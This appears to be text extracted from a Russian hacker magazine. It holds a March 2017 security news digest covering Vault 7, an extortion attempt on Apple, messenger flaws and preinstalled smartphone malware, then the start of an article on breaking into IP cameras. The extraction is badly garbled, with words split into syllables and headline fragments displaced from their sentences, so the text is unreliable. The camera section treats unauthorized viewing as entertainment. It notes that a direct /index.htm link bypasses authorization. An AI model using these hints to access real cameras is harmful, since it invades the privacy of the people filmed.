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ПУБЛИКАЦИЯ VAULT 7
7 мар та 2017 года про изош ло недо оце нен ное экспер тами событие: Wikileaks
начала пуб ликацию дам па под кодовым наз вани ем Vault 7, содер жащего под ‐
робнос ти работы Цен траль ного раз ведыва тель ного  управле ния  (ЦРУ) США.
В момент пер вой пуб ликации еще ник то не знал, какие пос ледс твия это пов ‐
лечет. Пос ледс твия ока зались серь езны ми.

 получи ла наз вание Year Zero. Она содер жит 8761 файл
из  зак рытой  сети  Цен тра  ради отех ничес кой  и  элек трон ной  раз ведки  ЦРУ
в  Лэн гли.  Дамп  содер жит  толь ко  докумен тацию,  и  решение  избе гать  пуб ‐
ликации  и  рас простра нения  готово го  к  работе  киберо ружия,  разуме ется,
было  осоз нанным:  пред ста вите ли  Wikileaks  полага ют,  что  сна чала  нуж но
разоб рать ся  с  тем,  как  пра виль но  изу чить  и  обез вре дить  эти  инс тру мен ты,
при няв во вни мание тех ничес кие и полити чес кие аспекты проб лемы. И лишь
пос ле это го их будет воз можно обна родо вать.

Пер вая пуб ликация

Ис сле дова тели  быс тро  обна ружи ли,  что  в  опуб ликован ных  докумен тах
есть  све дения  о  наличии  у  спец служб  готовых  экс пло итов  для  мно жес ‐
тва  0day‐уяз вимос тей  в  про дук тах 

. К при меру, имен но через такие 0day‐уяз вимос ти ЦРУ ком про мети ‐
рует мобиль ные устрой ства и перех ватыва ет сооб щения популяр ных мес сен ‐
дже ров (WhatsApp, Signal, Telegram, Weibo, Confide и Clockman): спец служ бы
не  взла мыва ют  шиф рование,  они  ком про мети руют  сам  девайс,  на  котором
уста нов лено при ложе ние. Судя по бумагам, спе циалис ты спец служб сумели
толь ко  в  iOS  най ти  семь  раз личных  багов  и  соз дали  для  них  как  минимум
четыр надцать экс пло итов.

Apple,  Google, Microsoft  и  дру гих  круп ных
ком паний

В  докумен тах  ЦРУ фигури руют  экс пло иты  для  iOS  вплоть  до  вер сии  9.2,
датиро ван ной  2015  годом.  ,  что  све жая  вер сия  iOS
(10.2.1) спа сает от боль шинс тва этих проб лем:

В  Apple  утвер жда ют

«Наши про дук ты и ПО раз работа ны таким обра зом, что бы быс тро дос -
тавлять  обновле ния  безопас ности  конеч ным  поль зовате лям,  и  поч -
ти 80% наших поль зовате лей работа ют с пос ледней вер сией опе раци -
онной сис темы».

Нес коль кими  дня ми  поз же  осно ватель  Wikileaks  Джу лиан  Ассанж  про вел
онлай новую пресс‐кон ферен цию (Ассанж по‐преж нему живет на тер ритории
посоль ства  Эква дора  в  Лон доне,  так  что  это  единс твен ный  дос тупный  ему
вари ант обще ния с прес сой), в ходе которой приз нал, что ком пани ям слож но
испра вить  уяз вимос ти  в  сво их  про дук тах,  осно выва ясь  толь ко  на  информа ‐
ции, почер пну той из докумен тов. Тот факт, что сами экс пло иты не были опуб ‐
ликова ны,  силь но  огра ничи вает  раз работ чиков. Поэто му  в Wikileaks  решили
пой ти про изво дите лям навс тре чу:

«Мы при няли решение сот рудни чать с ними, пре дос тавить экс клю зив -
ный  дос туп  к  допол нитель ной  тех ничес кой  информа ции,  которой  мы
обла даем, что бы они смог ли раз работать исправ ления и выпус тить их,
тем  самым  обе зопа сив  людей.  Пос ле  это го,  ког да  мы  „разору жим“
эти  прог раммы,  уда лив  кри тичес кие  ком понен ты,  мы  опуб лику ем
допол нитель ные детали слу чив шегося», — заявил Ассанж.

23  мар та  на  Wikileaks  была  опуб ликова на 
под  условным  наз вани ем  Dark  Matter.  На  этот  раз  бумаги  пос вящены  ряду
про ектов  ЦРУ,  при  помощи  которых  спец служ бы  заража ют  тех нику  Apple
(Mac,  iPhone) устой чивой мал варью, которая про дол жает «жить» в про шив ке
даже пос ле пере уста нов ки ОС.

вто рая  пар тия  докумен тов

В бумагах опи саны такие инс тру мен ты, как Sonic Screwdriver — механизм,
пред назна чен ный  для  выпол нения  кода  на  перифе рий ном  устрой стве,  пока
Mac  заг ружа ется.  С  его  помощью  мож но  начать  ата ку,  нап ример,  с  USB‐
флеш ки,  даже  если  тре бует ся  пароль  про шив ки  (firmware  password).
В докумен тах говорит ся, что само ЦРУ исполь зовало для хра нения вре донос ‐
ного кода модифи циро ван ные адап теры Thunderbolt‐to‐Ethernet.

Са ми экс пло иты и прог раммы сно ва не были опуб ликова ны, но докумен ‐
тация  ЦРУ  содер жит  опи сание  их  работы  и  даже  инс трук ции  по  исполь ‐
зованию. К при меру, в бумагах фигури рует инс тру мент под наз вани ем Night‐
Skies,  сущес тву ющий  с  2008  года:  он  пред назна чен  для  зараже ния  iPhone
и  уста нав лива ется  на  чис тые  устрой ства,  толь ко  вышед шие  с  кон вей еров
фаб рик.  То  есть  ЦРУ  дав но  име ет  физичес кую  воз можность  внед рять ся
в логис тичес кую цепоч ку Apple, заражая устрой ства пря мо «из короб ки».

Спе циалис ты  Apple  ,  что  сог ласно  про веден ному  ими  ана лизу
опи сан ная  в  бумагах  ЦРУ  уяз вимость  в  iPhone  была  акту аль на  лишь
для iPhone 3G и ее испра вили в 2009 году, ког да эта модель была в ходу. То
же самое отно сит ся и к уяз вимос тям в Mac, которые упо мина ются в докумен ‐
тах.  Так,  по  сло вам  пред ста вите лей  Apple,  все  Mac,  вышед шие  пос ‐
ле 2013 года, в пол ной безопас ности, так как баги в них уже устра нены.

со обща ют

ANDROID ОБО ШЕЛ WINDOWS И СТАЛ САМОЙ ПОПУЛЯР ‐
НОЙ ОС ДЛЯ ВЫХОДА В СЕТЬ

 → Ана лити чес кая ком пания StatCounter сооб щает, что опе раци онная сис тема Android впер вые
ста ла популяр нее ОС семей ства Windows, если не в гло баль ном смыс ле, то хотя бы по показа ‐
телю  исполь зуемос ти  в  интерне те.  Спе циалис ты  ком пании  отме чают,  что  это  «очень  важ ная
веха в исто рии тех нологий и конец целой эпо хи».

Ана лиз StatCounter базиру ется на информа ции, соб ранной с   по все му
миру, которые генери руют более 15 мил лиар дов прос мотров стра ниц в месяц.

2,5 мил лиона сай тов

 → В  кон це  мар та  2017  года    выходи ли  в  Сеть  с  устрой ств
под управле нием Android, тог да как доля Windows в этом месяце сос тавила 37,91%.

37,93% поль зовате лей

Ес ли  рас смат ривать  не  весь  мир  в  целом,  а  рын ки  отдель ных  стран,  Microsoft  удер жива ет
лидиру ющие позиции в Север ной Аме рике, Рос сии и боль шинс тве евро пей ских стран. Android,
в свою оче редь, более популя рен в Китае, Индии и афри кан ских стра нах.

 → Ин терес но,  что  в США Android  далек  от  лидиру ющих  позиций,  там  кон курен цию Microsoft
сос тавля ет iOS, име ющая поч ти пятип роцен тное пре иму щес тво перед ОС Google (25,7% поль ‐
зовате лей пред почита ют iOS, тог да как у Android 21,2%).

Нель зя не отме тить,  что сог ласно офи циаль ной ста тис тике Google    всех Android‐
устрой ств работа ют под управле нием Android 7 (Nougat), вышед шей еще в августе 2016 года.
Более 31% поль зовате лей по‐преж нему работа ют с Android 6.0 (Marshmallow), 32% до сих пор
исполь зуют Android 5.0 (Lollipop), и еще 20% до сих пор не обно вились с Android KitKat.

лишь 6,6%

ТУРЕЦКИЙ ШАНТАЖ
Ха кер ская груп пиров ка Turkish Crime Family в кон це мар та неук люже пыталась

. Зло умыш ленни ки утвер жда ли, что они име ют
дос туп  к  300 мил лионам поч товых  акка унтов Apple  (в  том  чис ле  на  доменах
@icloud и @me), и тре бова ли от Apple либо 75 тысяч дол ларов в крип товалю ‐
те,  либо  100  тысяч  дол ларов  подароч ными  кар тами  iTunes.  Хакеры  приг ‐
розили обну лить мно жес тво акка унтов iCloud и уда лен но очис тить устрой ства
поль зовате лей, если до 7 апре ля 2017  года  ком пания Apple не выпол нит их
тре бова ния.

шан тажиро вать ком панию Apple

Од нако информа ция, получен ная СМИ от чле нов груп пы, раз нилась: один
из  вымога телей  сооб щил  жур налис там,  что  они  име ют  дос туп  к  300  мил ‐
лионам  поч товых  ящи ков,  дру гой  заявил,  что  в  «залож никах»  находят ‐
ся 559 мил лионов акка унтов, а в Twitter груп пиров ки и вов се фигури рует чис ‐
ло 200 мил лионов. Для верифи кации Turkish Crime Family пре дос тавили обра ‐
зец дан ных объ емом в 54 акка унта из яко бы мно гомил лион ной базы, которая
име ется  в  рас поряже нии  груп пиров ки.  Все  они  ока зались  дей стви тель ны,
если  судить  по  дос тупнос ти  фун кции  сбро са  пароля,  но  почему  же  имен ‐
но 54?

Из обще ния с раз ными учас тни ками Turkish Crime Family скла дыва ется впе ‐
чат ление,  что  чле ны  груп пиров ки  наив ны  и  неопыт ны,  а  так же  очень  хотят
извес тнос ти и жаж дут, что бы про них писали СМИ. К при меру, как толь ко жур ‐
налис ты  ZDNet,  которые  решили  про вес ти  собс твен ное  рас сле дова ние,
начали  задавать  воп росы,  раз говор  момен таль но  свер нул  в  дру гое  рус ло:
хакеров очень инте ресо вало, покажут ли о них сюжет в CBS News. Дело в том,
что вла дель цем ZDNet выс тупа ет имен но CBS.

Пред ста вите ли  Apple,  изу чив  ситу ацию,  сооб щили,  что 
: поч товые адре са и пароли, которы ми пох валя ются зло умыш ‐

ленни ки, — это резуль тат уте чек дан ных раз личных сто рон них сер висов, про ‐
изо шед ших где‐то меж ду 2011 и 2015 годами и сум марно сос тавля ющих базу
мно го мень шую, чем даже 200 мил лионов акка унтов. А 27 мар та Apple и вов се

 для прак тичес ки всех сво их прог рам мных про дук тов
(macOS, macOS Server,  iOS, watchOS, tvOS, Safari и Pages), сум марно устра ‐
нив  более  200  уяз вимос тей  и  проб лем  и  оста новив  рас простра нение  нес ‐
коль ких вымога тель ских кам паний.

ха керы  ничего
не взла мыва ли

мас сово выпус тила пат чи

Ве роят но, имен но из‐за стрем ления хакеров к популяр ности быс тро сра ‐
бота ли  спец служ бы.  Уже  29  мар та  бри тан ское  Наци ональ ное  агентство
по  борь бе  с  прес тупностью  ,
которо го подоз рева ют в при над лежнос ти к Turkish Crime Family и вымога тель ‐
стве. Дру гие пред ста вите ли груп пиров ки, с которы ми жур налис ты под держи ‐
вают кон такт, сооб щили, что один из учас тни ков не выходит на связь как раз
с это го дня.

арес товало  в  Лон доне  молодо го  челове ка

«Его  обви няют  в  соз дании  и  управле нии  груп пиров кой.  Его  друг
находил ся  у  него дома во  вре мя рей да,  он  сумел  зас нять  поч ти  все
на видео и потом прис лал видео нам», — говорят хакеры.

По  сло вам  жур налис тов,  на  этом  видео  сот рудни ки  пра воох ранитель ных
орга нов выносят из дома раз личные вещи. Так же хакеры переда ли жур налис ‐
там фотог рафии орде ра на обыск, содер жимое которо го в целом сов пада ет
с информа цией, получен ной от Наци ональ ного агентства по борь бе с прес ‐
тупностью. Веро ятно, опе рацию по шан тажу Apple ожи дает ско рый бес слав ‐
ный конец.

 →   зараже ны  вымога тель ским  ПО.  Один  из  руково дите лей
коман ды  безопас ности  Android  Джей сон  Волоз  (Jason  Woloz)  пред ста вил  отчет,  сог ласно
которо му вымога тели — не такая уж боль шая проб лема. «Начиная с 2015 года менее 0,00001%
уста новок из Google Play и менее 0,01% уста новок из сто рон них источни ков были клас сифици ‐
рова ны  как  вымога тель ское  ПО»,  —  пишет  эксперт  и  отме чает,  что  у  поль зовате лей  Android
боль ше шан сов дваж ды попасть под удар мол нии, чем заразить ся вымога телем.

0,00001% Android-устрой ств

ПАТЧИТЬ ИЛИ НЕ
ПАТЧИТЬ?
В фев рале 2017‐го тра дици онный «втор ник обновле ний» Microsoft был отло ‐
жен до мар та: ком пания решила не выпус кать никаких пат чей. Пред ста вите ли
Microsoft  пояс нили,  что  это  решение  было  про дик товано  некими  «проб ‐
лемами,  воз никши ми  в  пос леднюю  минуту,  которые  могут  зат ронуть  поль ‐
зовате лей».  За  про шед шее  вре мя  спе циалис ты  Google  Project  Zero  успе ли
рас крыть  детали  сра зу  о  нес коль ких  серь езных  проб лемах  в  про дук ции Mi‐
crosoft: об уяз вимос ти в ком понен те Windows GDI, о баге типа type confusion,
который опа сен для бра узе ров Internet Explorer и Edge, и о весь ма серь езной
уяз вимос ти  в  про токо ле  SMB,  для  которой  даже  опуб ликова ли  proof‐of‐
concept экс пло ита.

Но вот март наконец нас тупил, и зап ланиро ван ный «втор ник обновле ний»
,  семь  из  которых

получи ли  ста тус  кри тичес ких  (они  устра няют  уяз вимос ти,  поз воля ющие  уда ‐
лен но  выпол нить  про изволь ный  код).  В  чис ле  про чего  кри тичес кие  бюл ‐
летени исправ ляют все упо мяну тые выше уяз вимос ти. Всем вла дель цам Win‐
dows  рекомен дует ся  обно вить ся  и  устра нить  эти  проб лемы  как  мож но  ско ‐
рее.

при нес  сра зу  восем надцать  бюл летеней  безопас ности

Но, как заведе но в Microsoft, пос ле хороших новос тей сра зу пос ледова ли
неод нознач ные. Еще в прош лом году пред ста вите ли Microsoft сооб щили, что
ско ро  обла дате ли  новей ших  про цес соров  Intel,  AMD  и  Qualcomm  будут
вынуж дены  исполь зовать  в  работе  Windows  10.  Новое  железо  перес танет
под держи вать «уста рев шие ОС». Теперь обновле ние офи циаль ной базы зна ‐
ний под твержда ет, что  .эти изме нения сов сем не за горами

Сог ласно новой стра нице, обла дате ли Windows 7 и 8.1 вско ре перес танут
получать обновле ния для сво их ОС. Ошиб ку номер 80240037 («Ваш про цес ‐
сор  не  под держи вает  дан ную  вер сию  Windows,  вы  не  смо жете  получать
обновле ния»)  уви дят  обла дате ли  седь мого  поколе ния  про цес соров  Intel
(Kaby  Lake),  чипов 8996  ком пании Qualcomm и Bristol Ridge  ком пании AMD.
Так же  в  этот  спи сок  дол жны были  попасть  про цес соры  на  архи тек туре Sky‐
lake,  но  раз работ чики  Microsoft  переду мали:  вла дель цы  Skylake  будут
получать толь ко обновле ния безопас ности для Windows 7 и 8.1.

Так же на этой же неделе ста ло извес тно,  что 11 апре ля 2017  года будет
прек ращена вся кая под дер жка самой не любимой поль зовате лями опе раци ‐
онной сис темы ком пании, Windows Vista. Пос ле этой даты Windows Vista окон ‐
чатель но перес танет получать любые обновле ния.

 →  сос тавля ет сред ний срок «жиз ни» 0day‐уяз вимос тей. Ана лити ки RAND Corporation
пред ста вили иссле дова ние Zero Days, Thousands of Nights, пос вящен ное уяз вимос тям нулево го
дня. Для про веде ния ана лиза они изу чили более 200 0day и экс пло итов для них, соб рав дан ные
за  пос ледние 14  лет,  то  есть  с  2002  по  2016  годы. Ока залось,  что  уяз вимос ти  нулево го  дня
в сред нем «живут» 6,9 года, то есть 2521 день. При этом чет верть уяз вимос тей сох раня ют ста ‐
тус  0day  все го  пол тора  года,  тог да  как  еще  чет верть  не  теря ют  акту аль нос ти  даже  спус тя
девять с полови ной лет.

6,9 года

ОПАСНЫЕ
МЕССЕНДЖЕРЫ
Для сис тем онлайн‐обще ния месяц начал ся не радуж но. Так, в самом начале
мар та спе циалист ком пании Detectify Франс Розен  (Frans Rosén) обна ружил

,  через  которую
мож но  было  перех ватить  кон троль  над  чужим  акка унтом.  В  бло ге  ком пании
иссле дова тель пред ста вил proof‐of‐concept экс пло ита и под робное опи сание
проб лемы. Как ока залось,  зло умыш ленник может похитить  токен XOXS, соз ‐
дав вре донос ную стра ницу, которая перепод клю чит WebSocket мес сен дже ра
к сво ему собс твен ному акка унту.

уяз вимость  в  кли енте  кор поратив ного  мес сен дже ра  Slack

Дву мя  неделя ми  поз же  спе циалис ты  ком пании  Check  Point  рас ска зали
о  :  зло умыш ленни ки
мог ли  пол ностью  зав ладеть  акка унтом  жер твы,  получить  дос туп  к  ее  пер ‐
сональ ным  и  груп повым  перепис кам,  а  так же  разос лать  вре донос ный файл
всем кон тактам жер твы, что поз воляло орга низо вать мас штаб ную ата ку.

проб леме  в  онлайн‐плат формах  WhatsApp  и  Telegram

У двух мес сен дже ров схо жая проб лема:  уяз вимость поз воля ет отпра вить
жер тве вре донос ный код, замас кирован ный под безобид ную с виду кар тинку
или  виде оро лик.  Как  толь ко  поль зователь  наж мет  на  этот  файл,  зло умыш ‐
ленник получит пол ный дос туп к хра нящим ся дан ным поль зовате ля WhatsApp
или Telegram и смо жет перех ватить кон троль над акка унтом.

А в кон це мар та  . На Reddit обра тили
вни мание,  что  на  домаш нем  экра не  при ложе ния  (имен но  его  поль зователь
видит  пер вым  делом,  запус тив  прог рамму)  отоб ража ется  стран ный  бан нер,
прод вига ющий  яко бы  кри тичес кое  обновле ние  для  Adobe  Flash  Player.  Если
клик нуть на эту рек ламу, заг рузит ся на пер вый взгляд легитим ное HTML‐при ‐
ложе ние, которое на самом деле ска чает вре донос ный пей лоад.

под ата ку попали поль зовате ли Skype

«Пой мать»  и  про ана лизи ровать  мал варь  не  уда лось,  одна ко  экспер ты
говорят, что, ско рее все го, Skype исполь зовал ся для рас простра нения шиф ‐
роваль щика: эта ата ка очень похожа на схе мы рас простра нения вымога теля
Locky,  который  в  начале  2017  года  объ еди нил ся  с  click  fraud  вре доно сом
Kovter.

THE FAPPENING 2.0
Ре зонан сный скан дал 2014 года, он же «дело о голых зна мени тос тях», он же

,  наконец‐то  получил  в  мар те  2017  года  свое
завер шение. 15 мар та Минис терс тво юсти ции США опуб ликова ло офи циаль ‐
ное заяв ление, сог ласно которо му в мас совом взло ме Gmail‐ и  iCloud‐акка ‐
унтов  звезд  (c  пос леду ющей  пуб ликаци ей  их  лич ных  сним ков  на  4chan)
виновен 36‐лет ний житель шта та Пен силь вания Рай ан Кол линз.

The  Fappening  или  Celebgate

Сог ласно  офи циаль ным  дан ным,  ата ка  Кол линза  дли лась  с  нояб ‐
ря  2012  года  по  сен тябрь  2014  года.  За  это  вре мя  хакер  успел  обма нуть
более  100  извес тных  людей,  рас сылая  им  тар гетиро ван ные  фишин говые
пись ма,  в  которых  пред став лялся  сот рудни ком  Google  или  Apple  (а  вов се
не взла мывал iCloud‐акка унты брут форсом, что счи талось основной вер сией
все  эти  годы).  Сетево му  вуай ерис ту  гро зит  до  пяти  лет  лишения  сво боды
и штраф в раз мере 250 тысяч дол ларов.

Но, похоже, у Кол линза наш лись дос той ные пос ледова тели, орга низо вав ‐
шие The Fappening 2.0: дру гие, неиз вес тные пока зло умыш ленни ки в этот же
день   двух популяр ных актрис — Эммы Уот ‐
сон и Аман ды Сай фред. Кро ме того, на 4chan появи лось сооб щение с угро ‐
зой  опуб ликовать  лич ные  фотог рафии  и  видео  еще  нес коль ких  десят ков
извес тных актрис. Пока непонят но,  как имен но зло умыш ленни ки заполу чили
интимные фотог рафии, но очень может быть, что этот слив — толь ко начало.

сли ли в Сеть новые лич ные сним ки

 →  было про дано за пять лет, с момен та выпус ка пер вой модели.
Фак тичес ки это ста вит Raspberry Pi на третье мес то в рей тин ге самых про дава емых компь юте ‐
ров «обще го наз начения», сра зу пос ле Apple Macintosh и Microsoft Windows ПК,  так как, пре ‐
одо лев отметку в 12,5 мил лиона, ком пания обош ла леген дарный Commodore 64.

12 500 000 Raspberry Pi

МАЛВАРЬ ИЗ
КОРОБКИ
Спе циалис ты Check Point совер шили в середи не мар та неп рият ное откры тие:
38 моделей смар тфо нов извес тных брен дов  (таких  как Samsung, LG, Xiaomi,
Asus,  Oppo  и  Lenovo)  .
На смар тфо нах были обна руже ны шесть образчи ков раз личных вре доно сов,
вклю чая мобиль ный шиф роваль щик Slocker  и  тро ян  Loki,  который  не  толь ко
похища ет поль зователь ские дан ные, но и умуд ряет ся показы вать рек ламу.

со дер жат  вре донос ное  ПО  пря мо  «из  короб ки»

Про веден ное  рас сле дова ние  показа ло,  что  мал варь  не  явля ется  частью
офи циаль ной ROM про изво дите лей: вре донос ное ПО попало на устрой ства
не на фаб риках. Но уста нови ли его и не сами поль зовате ли. Иссле дова тели
дела ют  вывод,  что  внед рени ем  мал вари  в  смар тфо ны  занимал ся  один
из учас тни ков длин ной логис тичес кой цепоч ки, которую устрой ства про ходят
от кон вей еров фаб рик до при лав ков магази нов. В бло ге ком пании при веден
пол ный  спи сок  вре донос ных APK и  устрой ств,  на  которых  при ложе ния были
обна руже ны.

СПЕ ЦИАЛИС ТЫ AVAST ОПРЕ ДЕЛИ ЛИ САМОЕ УСТА НАВ ‐
ЛИВА ЕМОЕ ПО

 → Эк спер ты анти вирус ного гиган та Avast изу чили ано ним ные дан ные, соб ранные с помощью
Automatic Software Updater со 116 мил лионов поль зователь ских ПК по все му миру. Про веден ‐
ный  ана лиз  поз волил  опре делить,  какое  ПО  популяр нее  все го  сре ди  поль зовате лей  Avast
и надеж но ли оно защище но.

 при над лежит Chrome, который стал самым популяр ным бра узе ром, а так ‐
же самой уста нав лива емой прог раммой.
Бо лее 50% рын ка

 → Так же в топ‐10 самых уста нав лива емых решений вош ли: Adobe Reader и Flash Player (вер сия
Active X), заняв шие вто рое и третье мес та, а так же Firefox, Flash Player Plugin, Skype, VLC Play‐
er, WinRAR, Java и Adobe AIR.

  уста нов лено  на  компь юте ре  сред неста тис тичес кого  поль зовате ля,
более 52% из которых уста рели и дав но не обновля лись.
49  при ложе ний

 → Ре же все го поль зовате ли обновля ют Java:   поль зовате лей работа ют
с уста рев шими вер сиями, и поч ти полови на из них до сих пор име ет вер сии Java 6 и 7.

бо лее 56 мил лионов

Flash Player Active X, который пос тавля ется вмес те с бра узе рами, уста рел в 99% изу чен ных слу ‐
чаев, а Flash Player Plugin не обновля ют 38% поль зовате лей. Самыми обновля емы ми при ложе ‐
ниями были наз ваны Google Chrome (88% уста новок име ют акту аль ную вер сию), Opera  (акту ‐
аль ны 84% уста новок) и Skype (76% поль зовате лей исполь зуют новей шую вер сию).

ТРАКТОР ПО
ПОДПИСКЕ
Жур налис ты  изда ния  Vice  Motherboard 

,  пос вящен ное  весь ма  необыч ному  явле нию — чер ному рын ку  про ‐
шивок для сель ско хозяй ствен ной тех ники John Deere. Ока зыва ется, прос тые
аме рикан ские  фер меры  вынуж дены  покупать  кас томную  и  полуле галь ную
про шив ку для сво их трак торов на зак рытых хакер ских форумах.

опуб ликова ли  собс твен ное  рас сле ‐
дова ние

Проб лема  воз никла  из‐за  того,  что  ком пания  Deere  &  Company,  рав но
как  и  дру гие  про изво дите ли,  ста ла  зап рещать  «неав торизо ван ный»  ремонт
сво ей  тех ники.  Но  зачас тую  фер меры  не  могут  ждать,  ког да  при едет  авто ‐
ризо ван ный спе циалист, а в сер висный центр пос тупят нуж ные детали. Ведь
все  это  может  занять  очень  дол гое  вре мя.  К  тому  же  вла дель цы  тех ники
всерь ез  опа сают ся,  что  про изво дитель  в  любой  момент  может  уда лен но
отклю чить их трак тор и с этим ничего нель зя будет поделать.

С  одной  сто роны,  подоб ная  модифи кация  ПО  незакон на.  С  дру гой  сто ‐
роны,  сог ласно  поп равкам,  вне сен ным  в  Digital  Millennium  Copyright  Act
в  2015  году,  допус кает ся  «модифи кация  компь ютер ных  прог рамм,  которые
вхо дят  в  сос тав  и  кон тро лиру ют  фун кци ональ ность  механи зиро ван ных
сухопут ных тран спортных средств, в том чис ле лич ных авто моби лей, гру зовых
авто моби лей  или  механи зиро ван ных  сель ско хозяй ствен ных  тран спортных
средств… если это необ ходимый шаг, пред при нима емый закон ным вла дель ‐
цем  тран спортно го  средс тва».  Фак тичес ки  получа ется,  что  исполь зование
сто рон них пират ских про шивок впол не легаль но.

 →   показа ла мал варь  для Mac  в  2016  году. Спе циалис ты  ком пании McAfee
пред ста вили  еже год ный  отчет,  пос вящен ный  глав ным  ИБ‐тен денци ям  ушед шего  2016  года.
Как  ока залось, мал вари  для Mac  по‐преж нему мень ше,  чем  для Windows ПК,  но  чис ло  угроз
рас тет с огромной ско ростью. Так, по срав нению с 2015 годом в 2016 году было обна руже но
на 744% боль ше вре доно сов для macOS. К счастью для поль зовате лей, самой рас простра нен ‐
ной угро зой для их сис тем все еще оста ется adware, то есть нежела тель ное рек ламное ПО.

744% при рос та

МИНУС 85%
ДАРКНЕТА
Еще  в  начале  фев раля  в  резуль тате  ата ки  на  популяр ный  в  дар кне те  хос ‐
тинг‐про вай дер Freedom Hosting II было ском про мети рова но более 10 тысяч
.onion‐сай тов. Дефейс‐сооб щение, в котором хакер объ яснял свои дей ствия,
утвер жда ло, что хос тинг‐про вай дер был «наказан» за дет ское пор но, которое
в изо билии обна ружи лось на сер верах Freedom Hosting II. Как ока залось, ата ‐
ка  име ла  далеко  иду щие  пос ледс твия:  про ект  OnionScan,  который  занима ‐
ется  регуляр ным  ска ниро вани ем  и  изу чени ем  Onion‐прос транс тва, 

, сог ласно которо му активность была обна ‐
руже на лишь на 4400 Tor‐сер висах из 30 тысяч, извес тных про екту.

опуб ‐
ликовал 6 мар та 2017 года отчет

Спе циалис ты  OnionScan  полага ют,  что  даже 
 тоже может быть свя зано с текущи ми

проб лемами  hidden  services.  По  мне нию  ана лити ков  OnionScan,  2017  год
явно нель зя будет наз вать удач ным для опе рато ров ресур сов в дар кне те.

не дав нее  исчезно вение
популяр ного поч тового сер виса Sigaint
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Уда лен ный дос туп к веб‐камерам и камерам наб людения —
самая  наг лядная  прак тика  взло ма.  Она  не  тре бует  спец ‐
софта,  поз воляя  обой тись  толь ко  бра узе ром  и  нехит рыми
манипу ляци ями. Тысячи циф ровых глаз по все му миру ста нут
дос тупны,  если  ты  уме ешь  находить  их  IP‐адре са  и  уяз ‐
вимос ти.

Статья  носит  иссле дова тель ский  харак тер.  Она
адре сова на  спе циалис там  по  безопас ности
и тем, кто собира ется ими стать. При ее написа ‐
нии  исполь зовались  обще дос тупные  базы  дан ‐
ных. Ни редак ция, ни автор не несут ответс твен ‐
ности  за  неэтич ное  исполь зование  любых  упо ‐
мяну тых здесь све дений.

С ШИРОКО ЗАКРЫТЫМИ ГЛАЗАМИ
Ви деонаб людение  исполь зует ся  пре иму щес твен но  для  охра ны,  а  потому
не жди веселых кар тинок с пер вой же хак нутой камеры. Может, тебе и пос час ‐
тли вит ся быс тро  най ти HD‐тран сля цию из  элит ного бор деля,  но  чаще будут
попадать ся  скуч ные  виды  на  без людные  скла ды  и  пар ковки  с  раз решени ем
VGA.  Если  в  кад ре  и  есть  люди,  то  в  основном  это  жду ны  в  хол ле  и  жру ны
в кафе. Куда инте рес нее наб людать за самими опе рато рами и работой вся ‐
ких роботов.

Ре аль ное и фор маль ное наб людение

IP‐камеры  и  веб‐камеры  час то  пута ют,  хотя  это  прин ципи аль но  раз ные
устрой ства.  Сетевая  камера,  или  IP‐камера,  —  самодос таточ ное  средс тво
наб людения.  Она  управля ется  через  веб‐интерфейс  и  самос тоятель но
переда ет  виде опо ток  по  сети.  По  сути,  это  мик рокомпь ютер  со  сво ей  ОС
на базе Linux. Сетевой интерфейс Ethernet (RJ‐45) или Wi‐Fi поз воля ет выпол ‐
нять  пря мое  под клю чение  к  IP‐камере.  Рань ше  для  это го  исполь зовались
фир менные  кли ент ские  при ложе ния,  но  боль шинс тво  сов ремен ных  камер
управля ются  через  бра узер  с  любого  устрой ства  —  хоть  с  ком па,  хоть
со смар тфо на. Как пра вило,  IP‐камеры вклю чены пос тоян но и дос тупны уда ‐
лен но. Имен но этим и поль зуют ся хакеры.

Ро бот в архи ве биб лиоте ки

Веб‐камера — пас сивное устрой ство, которым управля ют локаль но с компь ‐
юте ра (по USB) или ноут бука (если она встро енная) через драй вер опе раци ‐
онной сис темы. Этот драй вер может быть двух раз ных типов: уни вер саль ный
(пре дус танов ленный в ОС и под ходящий для мно гих камер раз ных про изво ‐
дите лей) и написан ный на заказ для кон крет ной модели. Задача хакера здесь
уже  дру гая:  не  под клю чить ся  к  веб‐камере,  а  перех ватить  ее  виде опо ток,
который  она  тран сли рует  через  драй вер.  У  веб‐камеры  нет  отдель ного  IP‐
адре са  и  встро енно го  веб‐сер вера.  Поэто му  взлом  веб‐камеры  всег да
следс твие взло ма компь юте ра, к которо му она под клю чена. Давай пока отло ‐
жим теорию и нем ного поп ракти куем ся.

Оч ки н‐н‐нада?

ВЗЛОМ КАМЕР НАБЛЮДЕНИЯ
Взлом IP‐камер вов се не говорит о том, что кто‐то хозяй нича ет на компь юте ‐
ре,  с  которо го  вла делец смот рит  их  виде опо ток. Прос то  теперь он  смот рит
его не один. Это отдель ные и доволь но лег кие цели, одна ко под водных кам ‐
ней на пути к ним хва тает.

Под гля дыва ние  через  камеры  может  пов лечь
адми нис тра тив ное и уго лов ное наказа ние. Обыч ‐
но  наз нача ют  штраф,  но  не  всем  уда ется  лег ко
отде лать ся.  Мэттью  Андерсон  отси дел  пол тора
года за взлом веб‐камер с помощью тро яна. Пов ‐
торив шему  его  под виг  при суди ли  уже  четыре
года.

Во‐пер вых,  уда лен ный  дос туп  к  выб ранной  камере  может  под держи вать ся
толь ко  через  какой‐то  кон крет ный бра узер. Одним  подавай  све жий Chrome
или  Firefox,  а  дру гие  работа ют  толь ко  со  ста рым  IE.  Во‐вто рых,  виде опо ток
тран сли рует ся в интернет в раз ных фор матах. Где‐то для его прос мотра нуж ‐
но  будет  уста новить  пла гин  ,  дру гие  камеры  пот ребу ют  Flash  Player,
а  третьи  не  покажут  ничего  без    или  собс твен ного  пла ‐
гина.

VLC
ста рой  вер сии  Java

Ки тай ская веж ливость

Иног да встре чают ся нет риви аль ные решения. Нап ример, Raspberry Pi прев ‐
раща ют в сер вер виде онаб людения с nginx и тран сли руют видео по RTMP.

Ма лино вая камера

По  замыс лу,  IP‐камеру  защища ют  от  втор жения  два  сек рета:  ее  IP‐адрес
и пароль учет ной записи. На прак тике IP‐адре са вряд ли мож но наз вать сек ‐
ретом.  Они  лег ко  обна ружи вают ся  по  стан дар тным  адре сам,  к  тому  же
камеры  оди нако во  откли кают ся  на  зап росы  поис ковых  роботов.  Нап ример,
на сле дующем скрин шоте вид но, что вла делец камеры отклю чил ано ним ный
дос туп  к  ней  и  добавил  ввод CAPTCHA для  пре дот вра щения  авто мати зиро ‐
ван ных  атак.  Одна ко  по  пря мой  ссыл ке    мож но  изме нить  их
без авто риза ции.

/index.htm

По луча ем дос туп воп реки нас трой кам

